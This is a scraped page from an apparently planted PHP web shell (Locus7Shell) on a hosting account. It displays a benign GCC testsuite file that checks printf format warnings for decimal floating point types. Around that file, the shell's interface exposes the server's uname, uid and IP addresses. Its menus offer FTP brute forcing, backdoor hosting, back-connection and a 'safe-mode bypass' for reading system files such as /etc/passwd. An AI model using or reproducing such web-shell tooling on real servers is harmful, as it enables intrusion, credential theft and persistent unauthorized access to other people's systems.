Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.dg/format/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     dfp-printf-1.c (6.76 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* Test for printf formats for Decimal Floating Point types.  */

/* { dg-do compile } */
/* { dg-require-effective-target dfp } */
/* { dg-options "-Wformat" } */
/* { dg-skip-if "No scanf/printf dfp support" { *-*-mingw* } } */

extern int printf (const char *restrict, ...);

void
foo (_Decimal32 x, _Decimal64 y, _Decimal128 z, int i, unsigned int j,
     double d, char *p)
{
  /* See ISO/IEC DTR 24732 subclause 9.3 (currently Working Draft 5 from
      2005-03-06).  */
  /* Formatted input/output specifiers.  */

  /* Check lack of warnings for valid usage.  */

  printf ("%Ha\n", x);
  printf ("%HA\n", x);
  printf ("%Hf\n", x);
  printf ("%HF\n", x);
  printf ("%He\n", x);
  printf ("%HE\n", x);
  printf ("%Hg\n", x);
  printf ("%HG\n", x);

  printf ("%Da\n", y);
  printf ("%DA\n", y);
  printf ("%Df\n", y);
  printf ("%DF\n", y);
  printf ("%De\n", y);
  printf ("%DE\n", y);
  printf ("%Dg\n", y);
  printf ("%DG\n", y);

  printf ("%DDa\n", z);
  printf ("%DDA\n", z);
  printf ("%DDf\n", z);
  printf ("%DDF\n", z);
  printf ("%DDe\n", z);
  printf ("%DDE\n", z);
  printf ("%DDg\n", z);
  printf ("%DDG\n", z);

  printf ("%DG%DDE%HF%DDe%He%HE%DF%DDF%De%DDG%HG%Df%Hg%DE%DDf%Dg%DDg%Hf\n",
           y, z, x, z, x, x, y, z, y, z, x, y, x, y, z, y, z, x);

  /* Check warnings for type mismatches.  */

  printf ("%Ha\n", y);    /* { dg-warning "expects argument" "bad use of %H" } */
  printf ("%HA\n", y);    /* { dg-warning "expects argument" "bad use of %H" } */
  printf ("%Hf\n", y);    /* { dg-warning "expects argument" "bad use of %H" } */
  printf ("%HF\n", y);    /* { dg-warning "expects argument" "bad use of %H" } */
  printf ("%He\n", y);    /* { dg-warning "expects argument" "bad use of %H" } */
  printf ("%HE\n", y);    /* { dg-warning "expects argument" "bad use of %H" } */
  printf ("%Hg\n", y);    /* { dg-warning "expects argument" "bad use of %H" } */
  printf ("%HG\n", y);    /* { dg-warning "expects argument" "bad use of %H" } */
  printf ("%Ha\n", z);    /* { dg-warning "expects argument" "bad use of %H" } */
  printf ("%HA\n", z);    /* { dg-warning "expects argument" "bad use of %H" } */
  printf ("%Hf\n", z);    /* { dg-warning "expects argument" "bad use of %H" } */
  printf ("%HF\n", z);    /* { dg-warning "expects argument" "bad use of %H" } */
  printf ("%He\n", z);    /* { dg-warning "expects argument" "bad use of %H" } */
  printf ("%HE\n", z);    /* { dg-warning "expects argument" "bad use of %H" } */
  printf ("%Hg\n", z);    /* { dg-warning "expects argument" "bad use of %H" } */
  printf ("%HG\n", z);    /* { dg-warning "expects argument" "bad use of %H" } */

  printf ("%Da\n", x);    /* { dg-warning "expects argument" "bad use of %D" } */
  printf ("%DA\n", x);    /* { dg-warning "expects argument" "bad use of %D" } */
  printf ("%Df\n", x);    /* { dg-warning "expects argument" "bad use of %D" } */
  printf ("%DF\n", x);    /* { dg-warning "expects argument" "bad use of %D" } */
  printf ("%De\n", x);    /* { dg-warning "expects argument" "bad use of %D" } */
  printf ("%DE\n", x);    /* { dg-warning "expects argument" "bad use of %D" } */
  printf ("%Dg\n", x);    /* { dg-warning "expects argument" "bad use of %D" } */
  printf ("%DG\n", x);    /* { dg-warning "expects argument" "bad use of %D" } */
  printf ("%Da\n", z);    /* { dg-warning "expects argument" "bad use of %D" } */
  printf ("%DA\n", z);    /* { dg-warning "expects argument" "bad use of %D" } */
  printf ("%Df\n", z);    /* { dg-warning "expects argument" "bad use of %D" } */
  printf ("%DF\n", z);    /* { dg-warning "expects argument" "bad use of %D" } */
  printf ("%De\n", z);    /* { dg-warning "expects argument" "bad use of %D" } */
  printf ("%DE\n", z);    /* { dg-warning "expects argument" "bad use of %D" } */
  printf ("%Dg\n", z);    /* { dg-warning "expects argument" "bad use of %D" } */
  printf ("%DG\n", z);    /* { dg-warning "expects argument" "bad use of %D" } */

  printf ("%DDa\n", x);    /* { dg-warning "expects argument" "bad use of %DD" } */
  printf ("%DDA\n", x);    /* { dg-warning "expects argument" "bad use of %DD" } */
  printf ("%DDf\n", x);    /* { dg-warning "expects argument" "bad use of %DD" } */
  printf ("%DDF\n", x);    /* { dg-warning "expects argument" "bad use of %DD" } */
  printf ("%DDe\n", x);    /* { dg-warning "expects argument" "bad use of %DD" } */
  printf ("%DDE\n", x);    /* { dg-warning "expects argument" "bad use of %DD" } */
  printf ("%DDg\n", x);    /* { dg-warning "expects argument" "bad use of %DD" } */
  printf ("%DDG\n", x);    /* { dg-warning "expects argument" "bad use of %DD" } */
  printf ("%DDa\n", y);    /* { dg-warning "expects argument" "bad use of %DD" } */
  printf ("%DDA\n", y);    /* { dg-warning "expects argument" "bad use of %DD" } */
  printf ("%DDf\n", y);    /* { dg-warning "expects argument" "bad use of %DD" } */
  printf ("%DDF\n", y);    /* { dg-warning "expects argument" "bad use of %DD" } */
  printf ("%DDe\n", y);    /* { dg-warning "expects argument" "bad use of %DD" } */
  printf ("%DDE\n", y);    /* { dg-warning "expects argument" "bad use of %DD" } */
  printf ("%DDg\n", y);    /* { dg-warning "expects argument" "bad use of %DD" } */
  printf ("%DDG\n", y);    /* { dg-warning "expects argument" "bad use of %DD" } */

  /* Check for warnings for bad use of H, D, and DD length specifiers.  */

  printf ("%Hd\n", i);    /* { dg-warning "length" "bad use of %H" } */
  printf ("%Hi\n", i);    /* { dg-warning "length" "bad use of %H" } */
  printf ("%Ho\n", j);    /* { dg-warning "length" "bad use of %H" } */
  printf ("%Hu\n", j);    /* { dg-warning "length" "bad use of %H" } */
  printf ("%Hx\n", j);    /* { dg-warning "length" "bad use of %H" } */
  printf ("%HX\n", j);    /* { dg-warning "length" "bad use of %H" } */
  printf ("%Ha\n", d);    /* { dg-warning "expects argument" "bad use of %H" } */
  printf ("%HA\n", d);    /* { dg-warning "expects argument" "bad use of %H" } */
  printf ("%Hc\n", i);    /* { dg-warning "length" "bad use of %H" } */
  printf ("%Hs\n", p);    /* { dg-warning "length" "bad use of %H" } */
  printf ("%Hp\n", p);    /* { dg-warning "length" "bad use of %H" } */
  printf ("%Hn\n", p);    /* { dg-warning "length" "bad use of %H" } */

  /* Sanity checks for flags, field width, and precision in formats for
     DFP types.  */

  printf ("%-Ha\n", x);
  printf ("%+HA\n", x);
  printf ("%-Hf\n", x);
  printf ("%+HF\n", x);
  printf ("% He\n", x);
  printf ("%#HE\n", x);
  printf ("%0Hg\n", x);
  printf ("%#0HG\n", x);

  printf ("%0#Da\n", y);
  printf ("%0DA\n", y);
  printf ("%0#Df\n", y);
  printf ("%0DF\n", y);
  printf ("%#De\n", y);
  printf ("%-#DE\n", y);
  printf ("%-#0Dg\n", y);  /* { dg-warning "flag ignored" "ignore flag" } */
  printf ("%0+ DG\n", y);  /* { dg-warning "flag ignored" "ignore flag" } */

  printf ("%DDa\n", z);
  printf ("%0DDA\n", z);
  printf ("%DDf\n", z);
  printf ("%0DDF\n", z);
  printf ("%#0DDe\n", z);
  printf ("%+DDE\n", z);
  printf ("%0-#DDg\n", z); /* { dg-warning "flag ignored" "ignore flag" } */
  printf ("% DDG\n", z);
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0056 ]--